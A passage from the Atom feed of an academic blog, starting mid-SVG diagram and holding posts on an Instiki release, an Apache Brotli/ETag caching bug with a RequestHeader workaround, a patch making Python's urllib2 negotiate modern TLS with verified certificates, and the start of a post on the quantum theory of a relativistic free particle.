  292. <path d='M 538.796 1.455719 L 544.194437 39.233063 ' style='fill: none; stroke-width: 0.3985; stroke-linecap: butt; stroke-linejoin: miter; stroke: rgb(0%,0%,0%); stroke-opacity: 1;' transform='matrix(1,0,0,-1,-351.296,172.569)'/>
  293. <path d='M -1.196161 1.592032 C -1.095105 0.995095 -0.0006237 0.0983102 0.29757 -0.00108661 C -0.0000709335 -0.0988285 -1.094547 -0.996724 -1.194495 -1.594766 ' style='fill: none; stroke-width: 0.31879; stroke-linecap: round; stroke-linejoin: round; stroke: rgb(0%,0%,0%); stroke-opacity: 1;' transform='matrix(0.14148,-0.99034,-0.99034,-0.14148,192.89823,133.33751)'/>
  294. <path d='M 578.276469 19.842438 L 544.260844 39.686188 ' style='fill: none; stroke-width: 0.3985; stroke-linecap: butt; stroke-linejoin: miter; stroke: rgb(0%,0%,0%); stroke-opacity: 1;' transform='matrix(1,0,0,-1,-351.296,172.569)'/>
  295. <g style='fill: rgb(0%,0%,0%); fill-opacity: 1;'>
  296.  <use x='172.141' xlink:href='#glyph5385-2-1' y='123.04'/>
  297.  <use x='174.465673' xlink:href='#glyph5385-2-4' y='123.04'/>
  298. </g>
  299. <g style='fill: rgb(0%,0%,0%); fill-opacity: 1;'>
  300.  <use x='177.454' xlink:href='#glyph5385-3-1' y='123.04'/>
  301. </g>
  302. <g style='fill: rgb(0%,0%,0%); fill-opacity: 1;'>
  303.  <use x='180.1108' xlink:href='#glyph5385-2-5' y='123.04'/>
  304.  <use x='183.09958' xlink:href='#glyph5385-2-3' y='123.04'/>
  305. </g>
  306. <path d='M 515.913187 45.354156 L 510.526469 2.279938 ' style='fill: none; stroke-width: 0.3985; stroke-linecap: butt; stroke-linejoin: miter; stroke: rgb(0%,0%,0%); stroke-opacity: 1;' transform='matrix(1,0,0,-1,-351.296,172.569)'/>
  307. <path d='M -1.195006 1.592576 C -1.096726 0.995042 -0.0014377 0.101134 0.298294 0.000891144 C 0.00000925408 -0.0993346 -1.095814 -0.995601 -1.194128 -1.594098 ' style='fill: none; stroke-width: 0.31879; stroke-linecap: round; stroke-linejoin: round; stroke: rgb(0%,0%,0%); stroke-opacity: 1;' transform='matrix(-0.12408,0.99287,0.99287,0.12408,159.23144,170.28966)'/>
  308. <path d='M 544.260844 39.686188 L 515.913187 45.354156 L 510.471781 1.822906 ' style='fill: none; stroke-width: 0.3985; stroke-linecap: butt; stroke-linejoin: miter; stroke: rgb(0%,0%,0%); stroke-opacity: 1;' transform='matrix(1,0,0,-1,-351.296,172.569)'/>
  309. <path d='M 515.913187 45.354156 C 493.417094 49.322906 474.522562 59.709625 470.557719 82.205719 ' style='fill: none; stroke-width: 0.3985; stroke-linecap: butt; stroke-linejoin: miter; stroke: rgb(0%,0%,0%); stroke-opacity: 1;' transform='matrix(1,0,0,-1,-351.296,172.569)'/>
  310. <path d='M 470.557719 82.205719 L 459.217875 141.733063 ' style='fill: none; stroke-width: 0.3985; stroke-linecap: butt; stroke-linejoin: miter; stroke: rgb(0%,0%,0%); stroke-opacity: 1;' transform='matrix(1,0,0,-1,-351.296,172.569)'/>
  311. <path d='M 459.217875 141.733063 L 454.167094 166.990875 ' style='fill: none; stroke-width: 0.3985; stroke-linecap: butt; stroke-linejoin: miter; stroke: rgb(0%,0%,0%); stroke-opacity: 1;' transform='matrix(1,0,0,-1,-351.296,172.569)'/>
  312. <path d='M -1.195876 1.593196 C -1.096288 0.995655 -0.000799519 0.0993385 0.297971 -0.000252933 C -0.0008003 -0.099842 -1.096296 -0.99615 -1.195889 -1.593691 ' style='fill: none; stroke-width: 0.31879; stroke-linecap: round; stroke-linejoin: round; stroke: rgb(0%,0%,0%); stroke-opacity: 1;' transform='matrix(-0.19612,-0.98058,-0.98058,0.19612,102.87069,5.57739)'/>
  313. <g style='fill: rgb(0%,0%,0%); fill-opacity: 1;'>
  314.  <use x='76.936' xlink:href='#glyph5385-4-1' y='21.366'/>
  315.  <use x='79.841841' xlink:href='#glyph5385-4-2' y='21.366'/>
  316. </g>
  317. <g style='fill: rgb(0%,0%,0%); fill-opacity: 1;'>
  318.  <use x='83.578' xlink:href='#glyph5385-5-1' y='21.366'/>
  319. </g>
  320. <g style='fill: rgb(0%,0%,0%); fill-opacity: 1;'>
  321.  <use x='86.899' xlink:href='#glyph5385-4-3' y='21.366'/>
  322.  <use x='90.634975' xlink:href='#glyph5385-4-4' y='21.366'/>
  323. </g>
  324. <g style='fill: rgb(0%,0%,0%); fill-opacity: 1;'>
  325.  <use x='91.039' xlink:href='#glyph5385-4-5' y='236.758'/>
  326.  <use x='96.642963' xlink:href='#glyph5385-4-6' y='236.758'/>
  327.  <use x='99.133363' xlink:href='#glyph5385-4-7' y='236.758'/>
  328. </g>
  329. <g style='fill: rgb(0%,0%,0%); fill-opacity: 1;'>
  330.  <use x='101.82999' xlink:href='#glyph5385-4-8' y='236.758'/>
  331.  <use x='105.773685' xlink:href='#glyph5385-4-9' y='236.758'/>
  332. </g>
  333. <g style='fill: rgb(0%,0%,0%); fill-opacity: 1;'>
  334.  <use x='110.134315' xlink:href='#glyph5385-4-10' y='236.758'/>
  335. </g>
  336. <g style='fill: rgb(0%,0%,0%); fill-opacity: 1;'>
  337.  <use x='176.234' xlink:href='#glyph5385-4-11' y='236.758'/>
  338.  <use x='181.526382' xlink:href='#glyph5385-4-6' y='236.758'/>
  339.  <use x='184.016783' xlink:href='#glyph5385-4-7' y='236.758'/>
  340. </g>
  341. <g style='fill: rgb(0%,0%,0%); fill-opacity: 1;'>
  342.  <use x='186.71341' xlink:href='#glyph5385-4-8' y='236.758'/>
  343.  <use x='190.657105' xlink:href='#glyph5385-4-9' y='236.758'/>
  344. </g>
  345. <g style='fill: rgb(0%,0%,0%); fill-opacity: 1;'>
  346.  <use x='195.017735' xlink:href='#glyph5385-4-10' y='236.758'/>
  347. </g>
  348. <g style='fill: rgb(0%,0%,0%); fill-opacity: 1;'>
  349.  <use x='218.702' xlink:href='#glyph5385-4-12' y='236.758'/>
  350.  <use x='224.098242' xlink:href='#glyph5385-4-6' y='236.758'/>
  351.  <use x='226.588643' xlink:href='#glyph5385-4-7' y='236.758'/>
  352. </g>
  353. <g style='fill: rgb(0%,0%,0%); fill-opacity: 1;'>
  354.  <use x='229.28527' xlink:href='#glyph5385-4-8' y='236.758'/>
  355.  <use x='233.228965' xlink:href='#glyph5385-4-9' y='236.758'/>
  356. </g>
  357. <g style='fill: rgb(0%,0%,0%); fill-opacity: 1;'>
  358.  <use x='237.589595' xlink:href='#glyph5385-4-10' y='236.758'/>
  359. </g>
  360. <g clip-path='url(#clip1)' clip-rule='nonzero'>
  361. <path d='M 493.2335 34.018219 C 432.530375 34.018219 351.499125 29.522125 351.499125 -31.181 C 351.499125 -91.372406 433.042094 -90.708344 493.2335 -90.708344 C 553.424906 -90.708344 634.967875 -91.372406 634.967875 -31.181 C 634.967875 29.522125 553.940531 34.018219 493.2335 34.018219 Z ' style='fill: none; stroke-width: 0.3985; stroke-linecap: butt; stroke-linejoin: miter; stroke: rgb(0%,0%,0%); stroke-opacity: 1;' transform='matrix(1,0,0,-1,-351.296,172.569)'/>
  362. </g>
  363. <g style='fill: rgb(0%,0%,0%); fill-opacity: 1;'>
  364.  <use x='298.435' xlink:href='#glyph5385-0-2' y='141.043'/>
  365. </g>
  366. <g style='fill: rgb(0%,0%,0%); fill-opacity: 1;'>
  367.  <use x='305.789' xlink:href='#glyph5385-6-1' y='142.538'/>
  368. </g>
  369. <g style='fill: rgb(0%,0%,0%); fill-opacity: 1;'>
  370.  <use x='313.58' xlink:href='#glyph5385-1-7' y='141.043'/>
  371.  <use x='317.509249' xlink:href='#glyph5385-1-8' y='141.043'/>
  372.  <use x='320.27686' xlink:href='#glyph5385-1-5' y='141.043'/>
  373.  <use x='325.81208' xlink:href='#glyph5385-1-9' y='141.043'/>
  374.  <use x='330.79338' xlink:href='#glyph5385-1-10' y='141.043'/>
  375.  <use x='336.328601' xlink:href='#glyph5385-1-11' y='141.043'/>
  376.  <use x='339.096211' xlink:href='#glyph5385-1-4' y='141.043'/>
  377.  <use x='344.077511' xlink:href='#glyph5385-1-3' y='141.043'/>
  378.  <use x='347.979862' xlink:href='#glyph5385-1-8' y='141.043'/>
  379.  <use x='350.747472' xlink:href='#glyph5385-1-12' y='141.043'/>
  380. </g>
  381. <g style='fill: rgb(0%,0%,0%); fill-opacity: 1;'>
  382.  <use x='354.342974' xlink:href='#glyph5385-1-13' y='141.043'/>
  383. </g>
  384. </g>
  385. </svg>
  386. </div>
  387.  
  388. <p><a href="https://github.com/parasew/instiki/releases/tag/0.30.0">Instiki 0.30.0</a> incorporates these changes, is compatible with Ruby 2.6, and greatly accelerates the process of saving pages (over previous versions).</p>
  389.  
  390.      </div>
  391.    </content>
  392.  </entry>
  393.  <entry>
  394.    <title type="html">Brotli</title>
  395.    <link rel="alternate" type="application/xhtml+xml" href="https://golem.ph.utexas.edu/~distler/blog/archives/003089.html" />
  396.    <updated>2019-05-23T04:32:04Z</updated>
  397.    <published>2019-02-15T09:47:07-06:00</published>
  398.    <id>tag:golem.ph.utexas.edu,2019:%2F~distler%2Fblog%2F1.3089</id>
  399.    <summary type="text">Another WebServer-related post</summary>
  400.    <author>
  401.      <name>distler</name>
  402.      <uri>https://golem.ph.utexas.edu/~distler/blog/</uri>
  403.      <email>[email protected]</email>
  404.    </author>
  405.    <category term="Computers" />
  406.    <content type="xhtml" xml:base="https://golem.ph.utexas.edu/~distler/blog/archives/003089.html">
  407.      <div xmlns="http://www.w3.org/1999/xhtml">
  408. <p>I finally got around to enabling <a href="https://medium.com/oyotech/how-brotli-compression-gave-us-37-latency-improvement-14d41e50fee4">Brotli compression</a> on Golem. Reading the <a href="https://httpd.apache.org/docs/2.4/mod/mod_brotli.html">manual</a>, I came across the <a href="https://httpd.apache.org/docs/2.4/mod/mod_brotli.html#brotlialteretag"><code>BrotliAlterETag</code></a> directive:</p>
  409.  
  410. <div style='border: 1px solid grey; padding: 10px; overflow:auto;'>
  411. <b style='margin-right:10px'>Description:</b> How the outgoing ETag header should be modified during compression<br/>
  412. <b style='margin-right:10px'>Syntax:</b> <code>BrotliAlterETag AddSuffix|NoChange|Remove</code>
  413. </div>
  414.  
  415. <p>with the description:</p>
  416.  
  417. <blockquote><dl><dt>AddSuffix</dt>
  418. <dd>Append the compression method onto the end of the ETag, causing compressed and uncompressed representations to have unique ETags. In another dynamic compression module, <code>mod_deflate</code>, this has been the default since 2.4.0. This setting prevents serving &#8220;<code>HTTP Not Modified (304)</code>&#8221; responses to conditional requests for compressed content.</dd>
  419. <dt>NoChange</dt>
  420. <dd>Don&#8217;t change the ETag on a compressed response. In another dynamic compression module, <code>mod_deflate</code>, this has been the default prior to 2.4.0. This setting does not satisfy the <abbr title="Hypertext Transfer Protocol">HTTP</abbr>/1.1 property that all representations of the same resource have unique ETags.</dd>
  421. <dt>Remove</dt>
  422. <dd>Remove the ETag header from compressed responses. This prevents some conditional requests from being possible, but avoids the shortcomings of the preceding options.</dd></dl></blockquote>
  423.  
  424. <p>Sure enough, it turns out that ETags+compression have been completely broken in Apache 2.4.x. Two methods for saving bandwidth, and delivering pages faster, cancel each other out and chew up more bandwidth than if one or the other were disabled.</p>
  425.  
  426. <p>To unpack this a little further, the first time your browser requests a page, Apache computes a hash of the page and sends that along as a header in the response</p>
  427.  
  428. <blockquote><pre><code>etag: "38f7-56d65f4a2fcc0"</code></pre></blockquote>
  429.  
  430. <p>When your browser requests the page again, it sends an</p>
  431.  
  432. <blockquote><pre><code>If-None-Match: "38f7-56d65f4a2fcc0"</code></pre></blockquote>
  433.  
  434. <p>header in the request. If that matches the hash of the page, Apaches sends a &#8220;<code>HTTP Not Modified (304)</code>&#8221; response, telling your browser the page is unchanged from the last time it requested it.</p>
  435.  
  436. <p>If the page is compressed, using <code>mod_deflate</code>, then the header Apache sends is slightly different</p>
  437.  
  438. <blockquote><pre><code>etag: "38f7-56d65f4a2fcc0-gzip"</code></pre></blockquote>
  439.  
  440. <p>So, when your browser sends its request with an</p>
  441.  
  442. <blockquote><pre><code>If-None-Match: "38f7-56d65f4a2fcc0-gzip"</code></pre></blockquote>
  443.  
  444. <p>header, Apache compares &#8220;<code>38f7-56d65f4a2fcc0-gzip</code>&#8221; with the hash of the page, concludes that they don&#8217;t match, and sends the whole page again (thus wasting all the bandwidth you originally saved by sending the page compressed).</p>
  445.  
  446. <p>This is completely brain-dead. And, even though the problem has <a href="https://bz.apache.org/bugzilla/show_bug.cgi?id=45023">been around for years</a>, the Apache folks don&#8217;t seem to have gotten around to fixing it. Instead, they just replicated the problem in <code>mod_brotli</code> (with a &#8220;<code>-br</code>&#8221; suffix replacing &#8220;<code>-gzip</code>&#8221;).</p>
  447.  
  448. <p>The solution is drop-dead simple. Add the line</p>
  449.  
  450. <blockquote><pre><code>RequestHeader edit "If-None-Match" '^"((.*)-(gzip|br))"$' '"$1", "$2"'</code></pre></blockquote>
  451.  
  452. <p>to your Apache configuration file. This gives Apache two ETags to compare with: the one with the suffix and the original unmodified one. The latter will match the hash of the file and Apache will return a &#8220;<code>HTTP Not Modified (304)</code>&#8221; as expected.</p>
  453.  
  454. <p>Why Apache didn&#8217;t just implement this in their code is beyond me.</p>
  455.  
  456.      </div>
  457.    </content>
  458.  </entry>
  459.  <entry>
  460.    <title type="html">Python urllib2 and TLS</title>
  461.    <link rel="alternate" type="application/xhtml+xml" href="https://golem.ph.utexas.edu/~distler/blog/archives/003080.html" />
  462.    <updated>2018-12-31T06:12:27Z</updated>
  463.    <published>2018-12-27T11:28:03-06:00</published>
  464.    <id>tag:golem.ph.utexas.edu,2018:%2F~distler%2Fblog%2F1.3080</id>
  465.    <summary type="text">In which I discover that you can't trust python to do the right thing...</summary>
  466.    <author>
  467.      <name>distler</name>
  468.      <uri>https://golem.ph.utexas.edu/~distler/blog/</uri>
  469.      <email>[email protected]</email>
  470.    </author>
  471.    <category term="Computers" />
  472.    <content type="xhtml" xml:base="https://golem.ph.utexas.edu/~distler/blog/archives/003080.html">
  473.      <div xmlns="http://www.w3.org/1999/xhtml">
  474. <p>I was thinking about <a href="https://www.ssl.com/article/deprecating-early-tls/">dropping</a> <a href="https://tools.ietf.org/id/draft-moriarty-tls-oldversions-diediedie-00.html">support</a> for TLSv1.0 in this webserver. All the major browser vendors have announced that they are <a href="https://arstechnica.com/gadgets/2018/10/browser-vendors-unite-to-end-support-for-20-year-old-tls-1-0/">dropping it from their browsers</a>. And you&#8217;d think that since TLSv1.2 has been around for a decade, even very old clients <em>ought</em> to be able to negotiate a TLSv1.2 connection.</p>
  475.  
  476. <p>But, when I checked, you can imagine my surprise that this webserver receives a <em>ton</em> of TLSv1 connections&#8230; including from the <a href="https://github.com/distler/venus/commits/master">application</a> that powers <a href="https://golem.ph.utexas.edu/~distler/planet/">Planet Musings</a>. Yikes!</p>
  477.  
  478. <p>The latter is built around the <a href="https://github.com/kurtmckee/feedparser">Universal Feed Parser</a> which uses the standard Python <a href="https://docs.python.org/2/library/urllib2.html">urrlib2</a> to negotiate the connection. And therein lay the problem &#8230;</p>
  479.  
  480. <p>At least in its default configuration, <code>urllib2</code> won&#8217;t negotiate anything higher than a TLSv1.0 connection. And, sure enough, that&#8217;s a problem:</p>
  481.  
  482. <blockquote><pre><code>ERROR:planet.runner:Error processing http://excursionset.com/blog?format=RSS
  483. ERROR:planet.runner:URLError: &lt;urlopen error [SSL: TLSV1_ALERT_PROTOCOL_VERSION] tlsv1 alert protocol version (_ssl.c:590)>
  484. ...
  485. ERROR:planet.runner:Error processing https://www.scottaaronson.com/blog/?feed=atom
  486. ERROR:planet.runner:URLError: &lt;urlopen error [Errno 54] Connection reset by peer>
  487. ...
  488. ERROR:planet.runner:Error processing https://www.science20.com/quantum_diaries_survivor/feed
  489. ERROR:planet.runner:URLError: &lt;urlopen error EOF occurred in violation of protocol (_ssl.c:590)></code></pre></blockquote>
  490.  
  491. <p>Even if <em>I&#8217;m</em> still supporting TLSv1.0, <em>others</em> have already dropped support for it.</p>
  492.  
  493. <p>Now, you might find it strange that <code>urllib2</code> defaults to a TLSv1.0 connection, when it&#8217;s certainly <em>capable</em> of negotiating something more secure (whatever OpenSSL supports). But, prior to Python 2.7.9, <code>urllib2</code> <a href="https://access.redhat.com/articles/2039753">didn&#8217;t even check</a> the server&#8217;s <abbr title="Secure Sockets Layer">SSL</abbr> certificate. Any encryption was bogus (wide open to a <acronym title="Man-in-the-Middle">MiTM</acronym> attack). So why bother negotiating a more secure connection?</p>
  494.  
  495. <p>Switching from the system Python to Python 2.7.15 (installed by Fink) yielded a slew of</p>
  496.  
  497. <blockquote><pre><code>ERROR:planet.runner:URLError: &lt;urlopen error [SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed (_ssl.c:726)></code></pre></blockquote>
  498.  
  499. <p>errors. Apparently, no root certificate file was getting loaded.</p>
  500.  
  501. <p>The solution to both of these problems turned out to be:</p>
  502.  
  503. <blockquote><pre><code>--- a/feedparser/http.py
  504. +++ b/feedparser/http.py
  505. @@ -5,13 +5,15 @@ import gzip
  506. import re
  507. import struct
  508. import zlib
  509. +import ssl
  510. <span style='color: red'>+import certifi</span>
  511.  
  512. try:
  513.     import urllib.parse
  514.     import urllib.request
  515. except ImportError:
  516.     from urllib import splithost, splittype, splituser
  517. -    from urllib2 import build_opener, HTTPDigestAuthHandler, HTTPRedirectHandler, HTTPDefaultErrorHandler, Request
  518. +    from urllib2 import build_opener, HTTPSHandler, HTTPDigestAuthHandler, HTTPRedirectHandler, HTTPDefaultErrorHandler, Request
  519.     from urlparse import urlparse
  520.  
  521.     class urllib(object):
  522. @@ -170,7 +172,9 @@ def get(url, etag=None, modified=None, agent=None, referrer=None, handlers=None,
  523.  
  524.     # try to open with urllib2 (to use optional headers)
  525.     request = _build_urllib2_request(url, agent, ACCEPT_HEADER, etag, modified, referrer, auth, request_headers)
  526. -    opener = urllib.request.build_opener(*tuple(handlers + [_FeedURLHandler()]))
  527. +    context = ssl.SSLContext(ssl.PROTOCOL_TLS)
  528. <span style='color: red'>+    context.load_verify_locations(cafile=certifi.where())</span>
  529. +    opener = urllib.request.build_opener(*tuple(handlers + [HTTPSHandler(context=context)] + [_FeedURLHandler()]))
  530.     opener.addheaders = [] # RMK - must clear so we only send our custom User-Agent
  531.     f = opener.open(request)
  532.     data = f.read()</code></pre></blockquote>
  533.  
  534. <p>Actually, the lines in <span style='color: red'>red</span> aren&#8217;t strictly necessary. As long as you set a <code>ssl.SSLContext()</code>, a suitable set of root certificates gets loaded. But, honestly, I don&#8217;t trust the internals of <code>urllib2</code> to do the right thing anymore, so I want to <em>make sure</em> that a <a href="https://pypi.org/project/certifi/">well-curated set</a> of root certificates is used.</p>
  535.  
  536. <p>With these changes, <code>Venus</code> negotiates a <a href="https://kinsta.com/blog/tls-1-3/">TLSv1.3</a> connection. <em>Yay!</em></p>
  537.  
  538. <p>Now, if only everyone <em>else</em> would update their Python scripts &#8230;</p>
  539.  
  540. <div id="PythonTLSu1" class="update"><h4>Update:</h4> <a href='http://pyfound.blogspot.com/2017/01/time-to-upgrade-your-python-tls-v12.html'>This article</a> goes some of the way towards explaining the brokenness of Python&#8217;s TLS implementation on MacOSX. But only some of the way &#8230;</div>
  541.  
  542. <div id="PythonTLSU2" class="update"><h4>Update 2:</h4> Another offender turned out to be the very application (MarsEdit 3) that I used to prepare this post. Upgrading to <a href='https://red-sweater.com/marsedit/'>MarsEdit 4</a> was a bit of a bother. Apple&#8217;s App-sandboxing prevented my <code>Markdown+itex2MML</code> <a href='http://golem.ph.utexas.edu/~distler/blog/files/MarsEditFilters.dmg.gz'>text filter</a> from working. One is no longer allowed to use <code>IPC::Open2</code> to pipe text through the commandline <code>itex2MML</code>. So I had to create a <a href='https://valelab4.ucsf.edu/svn/3rdpartypublic/swig/Doc/Manual/Perl5.html'>Perl Extension Module</a> for <code>itex2MML</code>. Now there&#8217;s a <a href='https://metacpan.org/release/MathML-itex2MML'><acronym title="Mathematical Markup Language">MathML</acronym>::itex2MML</a> module on <a href='https://www.cpan.org/'><acronym title="Comprehensive Perl Archive Network">CPAN</acronym></a> to go along with the <a href='https://rubygems.org/gems/itextomml'>Rubygem</a>.</div>
  543.  
  544.      </div>
  545.    </content>
  546.  </entry>
  547.  <entry>
  548.    <title type="html">Responsibility</title>
  549.    <link rel="alternate" type="application/xhtml+xml" href="https://golem.ph.utexas.edu/~distler/blog/archives/002943.html" />
  550.    <updated>2017-03-19T07:48:50Z</updated>
  551.    <published>2017-02-24T18:13:18-06:00</published>
  552.    <id>tag:golem.ph.utexas.edu,2017:%2F~distler%2Fblog%2F1.2943</id>
  553.    <summary type="text">The quantum theory of the relativistic free particle</summary>
  554.    <author>
  555.      <name>distler</name>
  556.      <uri>https://golem.ph.utexas.edu/~distler/blog/</uri>
  557.      <email>[email protected]</email>
  558.    </author>
  559.    <category term="Physics" />
  560.    <content type="xhtml" xml:base="https://golem.ph.utexas.edu/~distler/blog/archives/002943.html">
  561.      <div xmlns="http://www.w3.org/1999/xhtml">
  562. <div><a href="http://golem.ph.utexas.edu/~distler/blog/mathml.html"><img class="mathlogo" src="https://golem.ph.utexas.edu/~distler/blog/images/MathML.png" alt="MathML-enabled post (click for more details)." title="MathML-enabled post (click for details)." /></a></div>
  563.  
  564. <p>Many years ago, when I was an assistant professor at Princeton, there was a cocktail party at Curt Callan&#8217;s house to mark the beginning of the semester. There, I found myself in the kitchen, chatting with Sacha Polyakov. I asked him what he was going to be teaching that semester, and he replied that he was very nervous because &#8212; for the first time in his life &#8212; he would be teaching an undergraduate course. After my initial surprise that he had gotten this far in life without ever having taught an undergraduate course, I asked which course it was. He said it was the advanced undergraduate Mechanics course (chaos, etc.) and we agreed that would be a fun subject to teach. We chatted some more, and then he said that, on reflection, he probably shouldn&#8217;t be quite so worried. After all, it wasn&#8217;t as if he was going to teach Quantum Field Theory, &#8220;That&#8217;s a subject I&#8217;d feel <em>responsible</em> for.&#8221;</p>
  565.  
  566. <p>This remark stuck with me, but it never seemed quite so poignant until this semester, when I find myself teaching the undergraduate particle physics course.</p>
  567.  
  568. <div><a href="http://golem.ph.utexas.edu/~distler/blog/mathml.html"><img class="mathlogo" src="https://golem.ph.utexas.edu/~distler/blog/images/MathML.png" alt="MathML-enabled post (click for more details)." title="MathML-enabled post (click for details)." /></a></div>
  569.  
  570. <p>The textbooks (and I mean <em>all</em> of them) start off by &#8220;explaining&#8221; that relativistic quantum mechanics (e.g. replacing the Schr&#xf6;dinger equation with Klein-Gordon) make no sense (negative probabilities and all that &#8230;). And they then proceed to use it anyway (supplemented by some Feynman rules pulled out of thin air).</p>
  571.  
  572. <p>This drives me up the #@%^ing wall. It is <em>precisely</em> wrong.</p>
  573.  
  574. <p>There is a <em>perfectly</em> consistent quantum mechanical theory of free particles. The <em>problem</em> arises when you want to introduce interactions. In Special Relativity, there is no interaction-at-a-distance; all forces are necessarily mediated by fields. Those fields fluctuate and, when you want to study the quantum theory, you end up having to quantize them.</p>
  575.  
  576. <p>But the free particle is just fine. Of course it has to be: free field theory is just the theory of an (indefinite number of) free particles. So it better be true that the quantum theory of a single relativistic free particle makes sense.</p>
  577.  
  578. <p>So what is that theory?</p>
  579.  
  580. <ol>
  581. <li>It has a Hilbert space, <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>&#x0210B;</mi></mrow><annotation encoding='application/x-tex'>\mathcal{H}</annotation></semantics></math>, of states. To make the action of Lorentz transformations as simple as possible, it behoves us to use a Lorentz-invariant inner product on that Hilbert space. This is most easily done in the momentum representation
  582. <math xmlns='http://www.w3.org/1998/Math/MathML' display='block'><semantics><mrow><mo stretchy="false">&#x027E8;</mo><mi>&#x003C7;</mi><mo stretchy="false">&#x0007C;</mo><mi>&#x03D5;</mi><mo stretchy="false">&#x027E9;</mo><mo>=</mo><mo>&#x0222B;</mo><mfrac><mrow><msup><mi>d</mi> <mn>3</mn></msup><mover><mi>k</mi><mo stretchy="false">&#x02192;</mo></mover></mrow><mrow><msup><mrow><mo stretchy="false">(</mo><mn>2</mn><mi>&#x003C0;</mi><mo stretchy="false">)</mo></mrow> <mn>3</mn></msup><mn>2</mn><msqrt><mrow><msup><mover><mi>k</mi><mo stretchy="false">&#x02192;</mo></mover> <mn>2</mn></msup><mo>+</mo><msup><mi>m</mi> <mn>2</mn></msup></mrow></msqrt></mrow></mfrac><mspace width="0.16667em"/><mi>&#x003C7;</mi><mo stretchy="false">(</mo><mover><mi>k</mi><mo stretchy="false">&#x02192;</mo></mover><msup><mo stretchy="false">)</mo> <mo>*</mo></msup><mi>&#x03D5;</mi><mo stretchy="false">(</mo><mover><mi>k</mi><mo stretchy="false">&#x02192;</mo></mover><mo stretchy="false">)</mo></mrow><annotation encoding='application/x-tex'>
  583. \langle\chi|\phi\rangle = \int \frac{d^3\vec{k}}{{(2\pi)}^3 2\sqrt{\vec{k}^2+m^2}}\, \chi(\vec{k})^* \phi(\vec{k})
  584. </annotation></semantics></math></li>
  585. <li>As usual, the time-evolution is given by a Schr&#xf6;dinger equation</li>
  586. </ol>
  587.  
  588. <div class="numberedEq" id="e2943:Schroedinger"><span>(1)</span><math xmlns='http://www.w3.org/1998/Math/MathML' display='block'><semantics><mrow><mi>i</mi><msub><mo>&#x02202;</mo> <mi>t</mi></msub><mo stretchy="false">&#x0007C;</mo><mi>&#x003C8;</mi><mo stretchy="false">&#x027E9;</mo><mo>=</mo><msub><mi>H</mi> <mn>0</mn></msub><mo stretchy="false">&#x0007C;</mo><mi>&#x003C8;</mi><mo stretchy="false">&#x027E9;</mo></mrow><annotation encoding='application/x-tex'>i\partial_t |\psi\rangle = H_0 |\psi\rangle
  589. </annotation></semantics></math></div>
  590.  
  591. <p>where <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><msub><mi>H</mi> <mn>0</mn></msub><mo>=</mo><msqrt><mrow><msup><mover><mi>p</mi><mo stretchy="false">&#x02192;</mo></mover> <mn>2</mn></msup><mo>+</mo><msup><mi>m</mi> <mn>2</mn></msup></mrow></msqrt></mrow><annotation encoding='application/x-tex'>H_0 = \sqrt{\vec{p}^2+m^2}</annotation></semantics></math>. Now, you might object that it is hard to make sense of a pseudo-differential operator like <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><msub><mi>H</mi> <mn>0</mn></msub></mrow><annotation encoding='application/x-tex'>H_0</annotation></semantics></math>. Perhaps. But it&#8217;s not <em>any</em> harder than making sense of <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>U</mi><mo stretchy="false">(</mo><mi>t</mi><mo stretchy="false">)</mo><mo>=</mo><msup><mi>e</mi> <mrow><mo lspace="0.11111em" rspace="0em">&#x02212;</mo><mi>i</mi><msup><mover><mi>p</mi><mo stretchy="false">&#x02192;</mo></mover> <mn>2</mn></msup><mi>t</mi><mo stretchy="false">/</mo><mn>2</mn><mi>m</mi></mrow></msup></mrow><annotation encoding='application/x-tex'>U(t)= e^{&#x2d;i \vec{p}^2 t/2m}</annotation></semantics></math>, which we routinely pretend to do in elementary quantum. In both cases, we use the fact that, in the momentum representation, the operator <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mover><mi>p</mi><mo stretchy="false">&#x02192;</mo></mover></mrow><annotation encoding='application/x-tex'>\vec{p}</annotation></semantics></math> is represented as multiplication by <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mover><mi>k</mi><mo stretchy="false">&#x02192;</mo></mover></mrow><annotation encoding='application/x-tex'>\vec{k}</annotation></semantics></math>.</p>
  592.  
  593. <p>I could go on, but let me leave the rest of the development of the theory as a series of questions.</p>
  594.  
  595. <ol>
  596. <li>The self-adjoint operator, <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mover><mi>x</mi><mo stretchy="false">&#x02192;</mo></mover></mrow><annotation encoding='application/x-tex'>\vec{x}</annotation></semantics></math>, satisfies
  597. <math xmlns='http://www.w3.org/1998/Math/MathML' display='block'><semantics><mrow><mo stretchy="false">[</mo><msup><mi>x</mi> <mi>i</mi></msup><mo>,</mo><msub><mi>p</mi> <mi>j</mi></msub><mo stretchy="false">]</mo><mo>=</mo><mi>i</mi><msubsup><mi>&#x003B4;</mi> <mi>j</mi> <mi>i</mi></msubsup></mrow><annotation encoding='application/x-tex'>
  598. [x^i,p_j] = i \delta^{i}_j
  599. </annotation></semantics></math>
  600. Thus it can be written in the form
  601. <math xmlns='http://www.w3.org/1998/Math/MathML' display='block'><semantics><mrow><msup><mi>x</mi> <mi>i</mi></msup><mo>=</mo><mi>i</mi><mrow><mo>(</mo><mfrac><mo>&#x02202;</mo><mrow><mo>&#x02202;</mo><msub><mi>k</mi> <mi>i</mi></msub></mrow></mfrac><mo>+</mo><msub><mi>f</mi> <mi>i</mi></msub><mo stretchy="false">(</mo><mover><mi>k</mi><mo stretchy="false">&#x02192;</mo></mover><mo stretchy="false">)</mo><mo>)</mo></mrow></mrow><annotation encoding='application/x-tex'>
  602.  x^i = i\left(\frac{\partial}{\partial k_i} + f_i(\vec{k})\right)
  603. </annotation></semantics></math>
